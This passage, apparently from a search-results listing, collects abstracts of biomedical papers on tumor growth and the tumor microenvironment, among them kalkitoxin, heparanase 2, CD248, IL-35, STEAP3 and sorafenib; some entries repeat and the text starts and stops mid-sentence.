healthy tissue is progressively displaced as the malignant mass grows, whereas TC 5. Kalkitoxin Inhibits Angiogenesis, Disrupts Cellular Hypoxic Signaling, and Blocks Mitochondrial Electron Transport in Tumor Cells Directory of Open Access Journals (Sweden) J. Brian Morgan 2015-03-01 Full Text Available The biologically active lipopeptide kalkitoxin was previously isolated from the marine cyanobacterium Moorea producens (Lyngbya majuscula. Kalkitoxin exhibited N-methyl-d-aspartate (NMDA-mediated neurotoxicity and acted as an inhibitory ligand for voltage-sensitive sodium channels in cultured rat cerebellar granule neurons. Subsequent studies revealed that kalkitoxin generated a delayed form of colon tumor cell cytotoxicity in 7-day clonogenic cell survival assays. Cell line- and exposure time-dependent cytostatic/cytotoxic effects were previously observed with mitochondria-targeted inhibitors of hypoxia-inducible factor-1 (HIF-1. The transcription factor HIF-1 functions as a key regulator of oxygen homeostasis. Therefore, we investigated the ability of kalkitoxin to inhibit hypoxic signaling in human tumor cell lines. Kalkitoxin potently and selectively inhibited hypoxia-induced activation of HIF-1 in T47D breast tumor cells (IC50 5.6 nM. Mechanistic studies revealed that kalkitoxin inhibits HIF-1 activation by suppressing mitochondrial oxygen consumption at electron transport chain (ETC complex I (NADH-ubiquinone oxidoreductase. Further studies indicate that kalkitoxin targets tumor angiogenesis by blocking the induction of angiogenic factors (i.e., VEGF in tumor cells. 6. Glycan Sulfation Modulates Dendritic Cell Biology and Tumor Growth Directory of Open Access Journals (Sweden) Roland El Ghazal 2016-05-01 Full Text Available In cancer, proteoglycans have been found to play roles in facilitating the actions of growth factors, and effecting matrix invasion and remodeling. However, little is known regarding the genetic and functional importance of glycan chains displayed by proteoglycans on dendritic cells (DCs in cancer immunity. In lung carcinoma, among other solid tumors, tumor-associated DCs play largely subversive/suppressive roles, promoting tumor growth and progression. Herein, we show that targeting of DC glycan sulfation through mutation in the heparan sulfate biosynthetic enzyme N-deacetylase/N-sulfotransferase-1 (Ndst1 in mice increased DC maturation and inhibited trafficking of DCs to draining lymph nodes. Lymphatic-driven DC migration and chemokine (CCL21-dependent activation of a major signaling pathway required for DC migration (as measured by phospho-Akt were sensitive to Ndst1 mutation in DCs. Lewis lung carcinoma tumors in mice deficient in Ndst1 were reduced in size. Purified CD11c+ cells from the tumors, which contain the tumor-infiltrating DC population, showed a similar phenotype in mutant cells. These features were replicated in mice deficient in syndecan-4, the major heparan sulfate proteoglycan expressed on the DC surface: Tumors were growth-impaired in syndecan-4–deficient mice and were characterized by increased infiltration by mature DCs. Tumors on the mutant background also showed greater infiltration by NK cells and NKT cells. These findings indicate the genetic importance of DC heparan sulfate proteoglycans in tumor growth and may guide therapeutic development of novel strategies to target syndecan-4 and heparan sulfate in cancer. 7. Glycan Sulfation Modulates Dendritic Cell Biology and Tumor Growth. Science.gov (United States) El Ghazal, Roland; Yin, Xin; Johns, Scott C; Swanson, Lee; Macal, Monica; Ghosh, Pradipta; Zuniga, Elina I; Fuster, Mark M 2016-05-01 In cancer, proteoglycans have been found to play roles in facilitating the actions of growth factors, and effecting matrix invasion and remodeling. However, little is known regarding the genetic and functional importance of glycan chains displayed by proteoglycans on dendritic cells (DCs) in cancer immunity. In lung carcinoma, among other solid tumors, tumor-associated DCs play largely subversive/suppressive roles, promoting tumor growth and progression. Herein, we show that targeting of DC glycan sulfation through mutation in the heparan sulfate biosynthetic enzyme N-deacetylase/N-sulfotransferase-1 (Ndst1) in mice increased DC maturation and inhibited trafficking of DCs to draining lymph nodes. Lymphatic-driven DC migration and chemokine (CCL21)-dependent activation of a major signaling pathway required for DC migration (as measured by phospho-Akt) were sensitive to Ndst1 mutation in DCs. Lewis lung carcinoma tumors in mice deficient in Ndst1 were reduced in size. Purified CD11c+ cells from the tumors, which contain the tumor-infiltrating DC population, showed a similar phenotype in mutant cells. These features were replicated in mice deficient in syndecan-4, the major heparan sulfate proteoglycan expressed on the DC surface: Tumors were growth-impaired in syndecan-4-deficient mice and were characterized by increased infiltration by mature DCs. Tumors on the mutant background also showed greater infiltration by NK cells and NKT cells. These findings indicate the genetic importance of DC heparan sulfate proteoglycans in tumor growth and may guide therapeutic development of novel strategies to target syndecan-4 and heparan sulfate in cancer. 8. Heparanase 2 Attenuates Head and Neck Tumor Vascularity and Growth. Science.gov (United States) Gross-Cohen, Miriam; Feld, Sari; Doweck, Ilana; Neufeld, Gera; Hasson, Peleg; Arvatz, Gil; Barash, Uri; Naroditsky, Inna; Ilan, Neta; Vlodavsky, Israel 2016-05-01 The endoglycosidase heparanase specifically cleaves the heparan sulfate (HS) side chains on proteoglycans, an activity that has been implicated strongly in tumor metastasis and angiogenesis. Heparanase-2 (Hpa2) is a close homolog of heparanase that lacks intrinsic HS-degrading activity but retains the capacity to bind HS with high affinity. In head and neck cancer patients, Hpa2 expression was markedly elevated, correlating with prolonged time to disease recurrence and inversely correlating with tumor cell dissemination to regional lymph nodes, suggesting that Hpa2 functions as a tumor suppressor. The molecular mechanism associated with favorable prognosis following Hpa2 induction is unclear. Here we provide evidence that Hpa2 overexpression in head and neck cancer cells markedly reduces tumor growth. Restrained tumor growth was associated with a prominent decrease in tumor vascularity (blood and lymph vessels), likely due to reduced Id1 expression, a transcription factor highly implicated in VEGF-A and VEGF-C gene regulation. We also noted that tumors produced by Hpa2-overexpressing cells are abundantly decorated with stromal cells and collagen deposition, correlating with a marked increase in lysyl oxidase expression. Notably, heparanase enzymatic activity was unimpaired in cells overexpressing Hpa2, suggesting that reduced tumor growth is not caused by heparanase regulation. Moreover, growth of tumor xenografts by Hpa2-overexpressing cells was unaffected by administration of a mAb that targets the heparin-binding domain of Hpa2, implying that Hpa2 function does not rely on heparanase or heparan sulfate. Cancer Res; 76(9); 2791-801. ©2016 AACR. PMID:27013193 9. Multiscale models for the growth of avascular tumors Science.gov (United States) Martins, M. L.; Ferreira, S. C.; Vilela, M. J. 2007-06-01 In the past 30 years we have witnessed an extraordinary progress on the research in the molecular biology of cancer, but its medical treatment, widely based on empirically established protocols, still has many limitations. One of the reasons for that is the limited quantitative understanding of the dynamics of tumor growth and drug response in the organism. In this review we shall discuss in general terms the use of mathematical modeling and computer simulations related to cancer growth and its applications to improve tumor therapy. Particular emphasis is devoted to multiscale models which permit integration of the rapidly expanding knowledge concerning the molecular basis of cancer and the complex, nonlinear interactions among tumor cells and their microenvironment that will determine the neoplastic growth at the tissue level. 10. Cancer Associated Fibroblasts and Tumor Growth: Focus on Multiple Myeloma International Nuclear Information System (INIS) Cancer associated fibroblasts (CAFs) comprise a heterogeneous population that resides within the tumor microenvironment. They actively participate in tumor growth and metastasis by production of cytokines and chemokines, and the release of pro-inflammatory and pro-angiogenic factors, creating a more supportive microenvironment. The aim of the current review is to summarize the origin and characteristics of CAFs, and to describe the role of CAFs in tumor progression and metastasis. Furthermore, we focus on the presence of CAFs in hypoxic conditions in relation to multiple myeloma disease 11. Cancer Associated Fibroblasts and Tumor Growth: Focus on Multiple Myeloma Energy Technology Data Exchange (ETDEWEB) De Veirman, Kim, E-mail: kdeveirm@vub.ac.be [Department of Hematology and Immunology, Myeloma Center Brussels, Vrije Universiteit Brussel (VUB), Brussels 1090 (Belgium); Rao, Luigia [Department of Hematology and Immunology, Myeloma Center Brussels, Vrije Universiteit Brussel (VUB), Brussels 1090 (Belgium); Department of Biomedical Sciences and Human Oncology, Section of Internal Medicine, University of Bari Medical School, Bari I-70124 (Italy); De Bruyne, Elke; Menu, Eline; Van Valckenborgh, Els [Department of Hematology and Immunology, Myeloma Center Brussels, Vrije Universiteit Brussel (VUB), Brussels 1090 (Belgium); Van Riet, Ivan [Department of Hematology and Immunology, Myeloma Center Brussels, Vrije Universiteit Brussel (VUB), Brussels 1090 (Belgium); Stem Cell Laboratory, Division of Clinical Hematology, Universitair Ziekenhuis Brussel (UZ Brussel), Brussels 1090 (Belgium); Frassanito, Maria Antonia [Department of Biomedical Sciences and Human Oncology, Section of General Pathology, University of Bari Medical School, Bari I-70124 (Italy); Di Marzo, Lucia; Vacca, Angelo [Department of Biomedical Sciences and Human Oncology, Section of Internal Medicine, University of Bari Medical School, Bari I-70124 (Italy); Vanderkerken, Karin, E-mail: kdeveirm@vub.ac.be [Department of Hematology and Immunology, Myeloma Center Brussels, Vrije Universiteit Brussel (VUB), Brussels 1090 (Belgium) 2014-06-27 Cancer associated fibroblasts (CAFs) comprise a heterogeneous population that resides within the tumor microenvironment. They actively participate in tumor growth and metastasis by production of cytokines and chemokines, and the release of pro-inflammatory and pro-angiogenic factors, creating a more supportive microenvironment. The aim of the current review is to summarize the origin and characteristics of CAFs, and to describe the role of CAFs in tumor progression and metastasis. Furthermore, we focus on the presence of CAFs in hypoxic conditions in relation to multiple myeloma disease. 12. Histological study on side effects and tumor targeting of a block copolymer micelle on rats. Science.gov (United States) Kawaguchi, Takanori; Honda, Takashi; Nishihara, Masamichi; Yamamoto, Tatsuhiro; Yokoyama, Masayuki 2009-06-19 Histological examinations were performed with polymeric micelle-injected rats for evaluations of possible toxicities of polymeric micelle carriers. Weight of major organs as well as body weight of rats was measured after multiple intravenous injections of polymeric micelles forming from poly(ethylene glycol)-b-poly(aspartate) block copolymer. No pathological toxic side effects were observed at two different doses, followed only by activation of the mononuclear phagocyte system (MPS) in the spleen, liver, lung, bone marrow, and lymph node. This finding confirms the absence of--or the very low level of--in vivo toxicity of the polymeric micelle carriers that were reported in previous animal experiments and clinical results. Then, immunohistochemical analyses with a biotinylated polymeric micelle confirmed specific accumulation of the micelle in the MPS. The immunohistochemical analyses also revealed, first, very rapid and specific accumulation of the micelle in the vasculatures of tumor capsule of rat ascites hepatoma AH109A, and second, the micelle's scanty infiltration into tumor parenchyma. This finding suggests a unique tumor-accumulation mechanism that is very different from simple EPR effect-based tumor targeting. 13. Inhibition of IL-17A suppresses enhanced-tumor growth in low dose pre-irradiated tumor beds. Directory of Open Access Journals (Sweden) Eun-Jung Lee Full Text Available Ionizing radiation induces modification of the tumor microenvironment such as tumor surrounding region, which is relevant to treatment outcome after radiotherapy. In this study, the effects of pre-irradiated tumor beds on the growth of subsequently implanted tumors were investigated as well as underlying mechanism. The experimental model was set up by irradiating the right thighs of C3H/HeN mice with 5 Gy, followed by the implantation of HCa-I and MIH-2. Both implanted tumors in the pre-irradiated bed showed accelerated-growth compared to the control. Tumor-infiltrated lymphocyte (TIL levels were increased, as well as pro-tumor factors such as IL-6 and transforming growth factor-beta1 (TGF-β1 in the pre-irradiated group. In particular, the role of pro-tumor cytokine interleukin-17A (IL-17A was investigated as a possible target mechanism because IL-6 and TGF-β are key factors in Th17 cells differentiation from naïve T cells. IL-17A expression was increased not only in tumors, but also in CD4+ T cells isolated from the tumor draining lymph nodes. The effect of IL-17A on tumor growth was confirmed by treating tumors with IL-17A antibody, which abolished the acceleration of tumor growth. These results indicate that the upregulation of IL-17A seems to be a key factor for enhancing tumor growth in pre-irradiated tumor beds. 14. CD248 facilitates tumor growth via its cytoplasmic domain International Nuclear Information System (INIS) Stromal fibroblasts participate in the development of a permissive environment for tumor growth, yet molecular pathways to therapeutically target fibroblasts are poorly defined. CD248, also known as endosialin or tumor endothelial marker 1 (TEM1), is a transmembrane glycoprotein expressed on activated fibroblasts. We recently showed that the cytoplasmic domain of CD248 is important in facilitating an inflammatory response in a mouse model of arthritis. Others have reported that CD248 gene inactivation in mice results in dampened tumor growth. We hypothesized that the conserved cytoplasmic domain of CD248 is important in regulating tumor growth. Mice lacking the cytoplasmic domain of CD248 (CD248CyD/CyD) were generated and evaluated in tumor models, comparing the findings with wild-type mice (CD248WT/WT). As compared to the response in CD248WT/WT mice, growth of T241 fibrosarcomas and Lewis lung carcinomas was significantly reduced in CD248CyD/CyD mice. Tumor size was similar to that seen with CD248-deficient mice. Conditioned media from CD248CyD/CyD fibroblasts were less effective at supporting T241 fibrosarcoma cell survival. In addition to our previous observation of reduced release of activated matrix metalloproteinase (MMP)-9, CD248CyD/CyD fibroblasts also had impaired PDGF-BB-induced migration and expressed higher transcripts of tumor suppressor factors, transgelin (SM22α), Hes and Hey1. The multiple pathways regulated by the cytoplasmic domain of CD248 highlight its potential as a therapeutic target to treat cancer 15. CD248 facilitates tumor growth via its cytoplasmic domain Directory of Open Access Journals (Sweden) Janssens Tom 2011-05-01 Full Text Available Abstract Background Stromal fibroblasts participate in the development of a permissive environment for tumor growth, yet molecular pathways to therapeutically target fibroblasts are poorly defined. CD248, also known as endosialin or tumor endothelial marker 1 (TEM1, is a transmembrane glycoprotein expressed on activated fibroblasts. We recently showed that the cytoplasmic domain of CD248 is important in facilitating an inflammatory response in a mouse model of arthritis. Others have reported that CD248 gene inactivation in mice results in dampened tumor growth. We hypothesized that the conserved cytoplasmic domain of CD248 is important in regulating tumor growth. Methods Mice lacking the cytoplasmic domain of CD248 (CD248CyD/CyD were generated and evaluated in tumor models, comparing the findings with wild-type mice (CD248WT/WT. Results As compared to the response in CD248WT/WT mice, growth of T241 fibrosarcomas and Lewis lung carcinomas was significantly reduced in CD248CyD/CyD mice. Tumor size was similar to that seen with CD248-deficient mice. Conditioned media from CD248CyD/CyD fibroblasts were less effective at supporting T241 fibrosarcoma cell survival. In addition to our previous observation of reduced release of activated matrix metalloproteinase (MMP-9, CD248CyD/CyD fibroblasts also had impaired PDGF-BB-induced migration and expressed higher transcripts of tumor suppressor factors, transgelin (SM22α, Hes and Hey1. Conclusions The multiple pathways regulated by the cytoplasmic domain of CD248 highlight its potential as a therapeutic target to treat cancer. 16. Tumor-derived IL-35 promotes tumor growth by enhancing myeloid cell accumulation and angiogenesis. Science.gov (United States) Wang, Zhihui; Liu, Jin-Qing; Liu, Zhenzhen; Shen, Rulong; Zhang, Guoqiang; Xu, Jianping; Basu, Sujit; Feng, Youmei; Bai, Xue-Feng 2013-03-01 IL-35 is a member of the IL-12 family of cytokines that is comprised of an IL-12 p35 subunit and an IL-12 p40-related protein subunit, EBV-induced gene 3 (EBI3). IL-35 functions through IL-35R and has a potent immune-suppressive activity. Although IL-35 was demonstrated to be produced by regulatory T cells, gene-expression analysis revealed that it is likely to have a wider distribution, including expression in cancer cells. In this study, we demonstrated that IL-35 is produced in human cancer tissues, such as large B cell lymphoma, nasopharyngeal carcinoma, and melanoma. To determine the roles of tumor-derived IL-35 in tumorigenesis and tumor immunity, we generated IL-35-producing plasmacytoma J558 and B16 melanoma cells and observed that the expression of IL-35 in cancer cells does not affect their growth and survival in vitro, but it stimulates tumorigenesis in both immune-competent and Rag1/2-deficient mice. Tumor-derived IL-35 increases CD11b(+)Gr1(+) myeloid cell accumulation in the tumor microenvironment and, thereby, promotes tumor angiogenesis. In immune-competent mice, spontaneous CTL responses to tumors are diminished. IL-35 does not directly inhibit tumor Ag-specific CD8(+) T cell activation, differentiation, and effector functions. However, IL-35-treated cancer cells had increased expression of gp130 and reduced sensitivity to CTL destruction. Thus, our study indicates novel functions for IL-35 in promoting tumor growth via the enhancement of myeloid cell accumulation, tumor angiogenesis, and suppression of tumor immunity. 17. Rapamycin targeting mTOR and hedgehog signaling pathways blocks human rhabdomyosarcoma growth in xenograft murine model Energy Technology Data Exchange (ETDEWEB) Kaylani, Samer Z. [Division of Hematology and Oncology, Department of Pediatrics, University of Alabama at Birmingham, 1600 7th Avenue South, ACC 414, Birmingham, AL 35233 (United States); Xu, Jianmin; Srivastava, Ritesh K. [Department of Dermatology and Skin Diseases Research Center, University of Alabama at Birmingham, 1530 3rd Avenue South, VH 509, Birmingham, AL 35294-0019 (United States); Kopelovich, Levy [Division of Cancer Prevention, National Cancer Institute, Bethesda (United States); Pressey, Joseph G. [Division of Hematology and Oncology, Department of Pediatrics, University of Alabama at Birmingham, 1600 7th Avenue South, ACC 414, Birmingham, AL 35233 (United States); Athar, Mohammad, E-mail: mathar@uab.edu [Department of Dermatology and Skin Diseases Research Center, University of Alabama at Birmingham, 1530 3rd Avenue South, VH 509, Birmingham, AL 35294-0019 (United States) 2013-06-14 Graphical abstract: Intervention of poorly differentiated RMS by rapamycin: In poorly differentiated RMS, rapamycin blocks mTOR and Hh signaling pathways concomitantly. This leads to dampening in cell cycle regulation and induction of apoptosis. This study provides a rationale for the therapeutic intervention of poorly differentiated RMS by treating patients with rapamycin alone or in combination with other chemotherapeutic agents. -- Highlights: •Rapamycin abrogates RMS tumor growth by modulating proliferation and apoptosis. •Co-targeting mTOR/Hh pathways underlie the molecular basis of effectiveness. •Reduction in mTOR/Hh pathways diminish EMT leading to reduced invasiveness. -- Abstract: Rhabdomyosarcomas (RMS) represent the most common childhood soft-tissue sarcoma. Over the past few decades outcomes for low and intermediate risk RMS patients have slowly improved while patients with metastatic or relapsed RMS still face a grim prognosis. New chemotherapeutic agents or combinations of chemotherapies have largely failed to improve the outcome. Based on the identification of novel molecular targets, potential therapeutic approaches in RMS may offer a decreased reliance on conventional chemotherapy. Thus, identification of effective therapeutic agents that specifically target relevant pathways may be particularly beneficial for patients with metastatic and refractory RMS. The PI3K/AKT/mTOR pathway has been found to be a potentially attractive target in RMS therapy. In this study, we provide evidence that rapamycin (sirolimus) abrogates growth of RMS development in a RMS xenograft mouse model. As compared to a vehicle-treated control group, more than 95% inhibition in tumor growth was observed in mice receiving parenteral administration of rapamycin. The residual tumors in rapamycin-treated group showed significant reduction in the expression of biomarkers indicative of proliferation and tumor invasiveness. These tumors also showed enhanced apoptosis 18. Tumor growth instability and the onset of invasion CERN Document Server Castro, M; Deisboeck, T; Castro, Mario; Molina-Paris, Carmen; Deisboeck, Thomas s. 2005-01-01 Motivated by experimental observations, we develop a mathematical model of chemotactically directed tumor growth. We present an analytical study of the model as well as a numerical one. The mathematical analysis shows that: (i) tumor cell proliferation by itself cannot generate the invasive branching behaviour observed experimentally, (ii) heterotype chemotaxis provides an instability mechanism that leads to the onset of tumor invasion and (iii) homotype chemotaxis does not provide such an instability mechanism but enhances the mean speed of the tumor surface. The numerical results not only support the assumptions needed to perform the mathematical analysis but they also provide evidence of (i), (ii) and (iii). Finally, both the analytical study and the numerical work agree with the experimental phenomena. 19. Impact of macrophages on tumor growth characteristics in a murine ocular tumor model. Science.gov (United States) Stei, Marta M; Loeffler, Karin U; Kurts, Christian; Hoeller, Tobias; Pfarrer, Christiane; Holz, Frank G; Herwig-Carl, Martina C 2016-10-01 Tumor associated macrophages (TAM), mean vascular density (MVD), PAS positive extravascular matrix patterns, and advanced patients' age are associated with a poor prognosis in uveal melanoma. These correlations may be influenced by M2 macrophages and their cytokine expression pattern. Thus, the effect of TAM and their characteristic cytokines on histologic tumor growth characteristics were studied under the influence of age. Ninety five CX3CR1(+/GFP) mice (young 8-12weeks, old 10-12months) received an intravitreal injection of 1 × 10(5) HCmel12 melanoma cells. Subgroups were either systemically macrophage-depleted by Clodronate liposomes (n = 23) or received melanoma cells, which were pre-incubated with the supernatant of M1- or M2-polarized macrophages (n = 26). Eyes were processed histologically/immunohistochemically (n = 75), or for flow cytometry (n = 20) to analyze tumor size, mean vascular density (MVD), extravascular matrix patterns, extracellular matrix (ECM) and the presence/polarization of TAM. Prognostically significant extravascular matrix patterns (parallels with cross-linkings, loops, networks) were found more frequently in tumors of untreated old compared to tumors of untreated young mice (p = 0.024); as well as in tumors of untreated mice compared to tumors of macrophage-depleted mice (p = 0.014). Independent from age, M2-conditioned tumors showed more TAM (p = 0.001), increased collagen IV levels (p = 0.024) and a higher MVD (p = 0.02) than M1-conditioned tumors. Flow cytometry revealed a larger proportion of M2-macrophages in old than in young mice. The results indicate that TAM and their cytokines appear to be responsible for a more aggressive tumor phenotype. Tumor favoring and pro-angiogenic effects can be directly attributed to a M2-dominated tumor microenvironment rather than to age-dependent factors alone. However, an aged immunoprofile with an increased number of M2-macrophages may provide a tumor-favoring basis 20. Building Context with Tumor Growth Modeling Projects in Differential Equations Science.gov (United States) Beier, Julie C.; Gevertz, Jana L.; Howard, Keith E. 2015-01-01 The use of modeling projects serves to integrate, reinforce, and extend student knowledge. Here we present two projects related to tumor growth appropriate for a first course in differential equations. They illustrate the use of problem-based learning to reinforce and extend course content via a writing or research experience. Here we discuss… 1. The impact of stress on tumor growth: peripheral CRF mediates tumor-promoting effects of stress Directory of Open Access Journals (Sweden) Stathopoulos Efstathios N 2010-09-01 Full Text Available Abstract Introduction Stress has been shown to be a tumor promoting factor. Both clinical and laboratory studies have shown that chronic stress is associated with tumor growth in several types of cancer. Corticotropin Releasing Factor (CRF is the major hypothalamic mediator of stress, but is also expressed in peripheral tissues. Earlier studies have shown that peripheral CRF affects breast cancer cell proliferation and motility. The aim of the present study was to assess the significance of peripheral CRF on tumor growth as a mediator of the response to stress in vivo. Methods For this purpose we used the 4T1 breast cancer cell line in cell culture and in vivo. Cells were treated with CRF in culture and gene specific arrays were performed to identify genes directly affected by CRF and involved in breast cancer cell growth. To assess the impact of peripheral CRF as a stress mediator in tumor growth, Balb/c mice were orthotopically injected with 4T1 cells in the mammary fat pad to induce breast tumors. Mice were subjected to repetitive immobilization stress as a model of chronic stress. To inhibit the action of CRF, the CRF antagonist antalarmin was injected intraperitoneally. Breast tissue samples were histologically analyzed and assessed for neoangiogenesis. Results Array analysis revealed among other genes that CRF induced the expression of SMAD2 and β-catenin, genes involved in breast cancer cell proliferation and cytoskeletal changes associated with metastasis. Cell transfection and luciferase assays confirmed the role of CRF in WNT- β-catenin signaling. CRF induced 4T1 cell proliferation and augmented the TGF-β action on proliferation confirming its impact on TGFβ/SMAD2 signaling. In addition, CRF promoted actin reorganization and cell migration, suggesting a direct tumor-promoting action. Chronic stress augmented tumor growth in 4T1 breast tumor bearing mice and peripheral administration of the CRF antagonist antalarmin suppressed this 2. Effect of complex amino acid imbalance on growth of tumor in tumor-bearing rats Institute of Scientific and Technical Information of China (English) Yin-Cheng He; Yuan-Hong Wang; Jun Cao; Ji-Wei Chen; Ding-Yu Pan; Ya-Kui Zhou 2003-01-01 AIM: To investigate the effect of complex amino acid imbalance on the growth of tumor in tumor-bearing (TB) rats.METHODS: Sprague-Dawlley (SD) rats underwent jejunostomy for nutritional support. A suspension of Walker256 carcinosarcoma cells was subcutaneously inoculated.TB rats were randomly divided into groups A, B, C and D according to the formula of amino acids in enteral nutritional solutions, respectively. TB rats received jejunal feedings supplemented with balanced amino acids (group A),methionine-depleted amino acids (group B), valine-depleted amino acids (group C) and methionine- and valine-depleted complex amino acid imbalance (group D) for 10 days. Tumor volume, inhibitory rates of tumor, cell cycle and life span of TB rats were investigated.RESULTS: The G0/G1 ratio of tumor cells in group D (80.5±9.0) % was higher than that in groups A, B and C which was 67.0±5.1 %, 78.9±8.5 %, 69.2±6.2 %, respectively (P<0.05). The ratio of S/G2M and PI in group D were lower than those in groups A, B and C. The inhibitory rate of tumor in groups B, C and D was 37.2 %, 33.3 % and 43.9 %,respectively (P<0.05). The life span of TB rats in group D was significantly longer than that in groups B, C, and A.CONCLUSION: Methionine/valine-depleted amino acid imbalance can inhibit tumor growth. Complex amino acids of methionine and valine depleted imbalance have stronger inhibitory effects on tumor growth. 3. Inhibition of Tumor Angiogenesis and Tumor Growth by the DSL Domain of Human Delta-Like 1 Targeted to Vascular Endothelial Cells Directory of Open Access Journals (Sweden) Xing-Cheng Zhao 2013-07-01 Full Text Available The growth of solid tumors depends on neovascularization. Several therapies targeting tumor angiogenesis have been developed. However, poor response in some tumors and emerging resistance necessitate further investigations of newdrug targets. Notch signal pathway plays a pivotal role in vascular development and tumor angiogenesis. Either blockade or forced activation of this pathway can inhibit angiogenesis. As blocking Notch pathway results in the formation of vascular neoplasm, activation of Notch pathway to prevent tumor angiogenesis might be an alternative choice. However, an in vivo deliverable reagent with highly efficient Notch-activating capacity has not been developed. Here, we generated a polypeptide, hD1R, which consists of the Delta-Serrate-Lag-2 fragment of the human Notch ligand Delta-like 1 and an arginine-glycine-aspartate (RGD motif targeting endothelial cells (ECs. We showed that hD1R could bind to ECs specifically through its RGD motif and effectively triggered Notch signaling in ECs. We demonstrated both in vitro and in vivo that hD1R inhibited angiogenic sprouting and EC proliferation. In tumor-bearing mice, the injection of hD1R effectively repressed tumor growth, most likely through increasing tumor hypoxia and tissue necrosis. The amount and width of vessels reduced remarkably in tumors of mice treated with hD1R. Moreover, vessels in tumors of mice treated with hD1R recruited more NG2+ perivascular cells and were better perfused. Combined application of hD1R and chemotherapy with cisplatin and teniposide revealed that these two treatments had additive antitumor effects. Our study provided a new strategy for antiangiogenic tumor therapy. 4. Human STEAP3 maintains tumor growth under hypoferric condition Energy Technology Data Exchange (ETDEWEB) Isobe, Taichi, E-mail: tisobe@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Baba, Eishi, E-mail: e-baba@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Arita, Shuji, E-mail: arita.s@nk-cc.go.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Komoda, Masato, E-mail: komoda@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Tamura, Shingo, E-mail: tamshin@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Shirakawa, Tsuyoshi, E-mail: t-w-r@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Ariyama, Hiroshi, E-mail: hariyama@kyumed.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Takaishi, Shigeo, E-mail: takaishi@med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); Kusaba, Hitoshi, E-mail: hkusaba@intmed1.med.kyushu-u.ac.jp [Department of Medicine and Biosystemic Science, Kyushu University Graduate School of Medical Sciences, 3-1-1 Maidashi, Higashi-ku, Fukuoka 812-8582 (Japan); and others 2011-11-01 Iron is essential in cellular proliferation and survival based on its crucial roles in DNA and ATP synthesis. Tumor cells proliferate rapidly even in patients with low serum iron, although their actual mechanisms are not well known. To elucidate molecular mechanisms of efficient tumor progression under the hypoferric condition, we studied the roles of six-transmembrane epithelial antigen of the prostate family member 3 (STEAP3), which was reported to facilitate iron uptake. Using Raji cells with low STEAP3 mRNA expression, human STEAP3-overexpressing cells were established. The impact of STEAP3 expression was analyzed about the amount of iron storage, the survival under hypoferric conditions in vitro and the growth of tumor in vivo. STEAP3 overexpression increased ferritin, an indicator of iron storage, in STEAP3-overexpressing Raji cells. STEAP3 gave Raji cells the resistance to iron deprivation-induced apoptosis. These STEAP3-overexpressing Raji cells preserved efficient growth even in hypoferric mice, while parental Raji cells grew less rapidly. In addition, iron deficiency enhanced STEAP3 mRNA expression in tumor cells. Furthermore, human colorectal cancer tissues exhibited more STEAP3 mRNA expression and iron storage compared with normal colon mucosa. These findings indicate that STEAP3 maintains iron storage in human malignant cells and tumor proliferation under the hypoferric condition. -- Highlights: {yields} STEAP3 expression results in increment of stored intracellular iron. {yields} Iron deprivation induces expression of STEAP3. {yields} Colorectal cancer expresses STEAP3 highly and stores iron much. {yields} STEAP3 expressing tumors preserves growth even in mice being hypoferremia. 5. Sorafenib inhibits growth and metastasis of hepatocellular carcinoma by blocking STAT3 Institute of Scientific and Technical Information of China (English) Fang-Ming Gu; Quan-Lin Li; Qiang Gao; Jia-Hao Jiang; Xiao-Yong Huang; Jin-Feng Pan; Jia Fan; Jian Zhou 2011-01-01 AIM: To investigate the inhibitory role and the underlying mechanisms of sorafenib on signal transducer and activator of transcription 3 (STAT3) activity in hepatocellular carcinoma (HCC). METHODS: Human and rat HCC cell lines were treated with sorafenib. Proliferation and STAT3 dephosphorylation were assessed. Potential molecular mechanisms of STAT3 pathway inhibition by sorafenib were evaluated. In vivo antitumor action and STAT3 inhibition were investigated in an immunocompetent orthotopic rat HCC model. RESULTS: Sorafenib decreased STAT3 phosphorylation at the tyrosine and serine residues (Y705 and S727), but did not affect Janus kinase 2 (JAK2) and phospha-tase shatterproof 2 (SHP2), which is associated with growth inhibition in HCC cells. Dephosphorylation of S727 was associated with attenuated extracellular signal-regulated kinase (ERK) phosphorylation, similar to the effects of a mitogen-activated protein kinase (MEK) inhibitor U0126, suggesting that sorafenib induced S727 dephosphorylation by inhibiting MEK/ERK signaling. Meanwhile, sorafenib could also inhibit Akt phosphorylation, and both the phosphatidylinositol-3-kinase (PI3K) inhibitor LY294002 and Akt knockdown resulted in Y705 dephosphorylation, indicating that Y705 dephosphorylation by sorafenib was mediated by inhibiting the PI3K/Akt pathway. Finally, in the rat HCC model, sorafenib significantly inhibited STAT3 activity, reducing tumor growth and metastasis. CONCLUSION: Sorafenib inhibits growth and metastasis of HCC in part by blocking the MEK/ERK/STAT3 and PI3K/Akt/STAT3 signaling pathways, but independent of JAK2 and SHP2 activation. 6. ING1 and 5-Azacytidine Act Synergistically to Block Breast Cancer Cell Growth Science.gov (United States) Thakur, Satbir; Feng, Xiaolan; Qiao Shi, Zhong; Ganapathy, Amudha; Kumar Mishra, Manoj; Atadja, Peter; Morris, Don; Riabowol, Karl 2012-01-01 Background Inhibitor of Growth (ING) proteins are epigenetic “readers” that recognize trimethylated lysine 4 of histone H3 (H3K4Me3) and 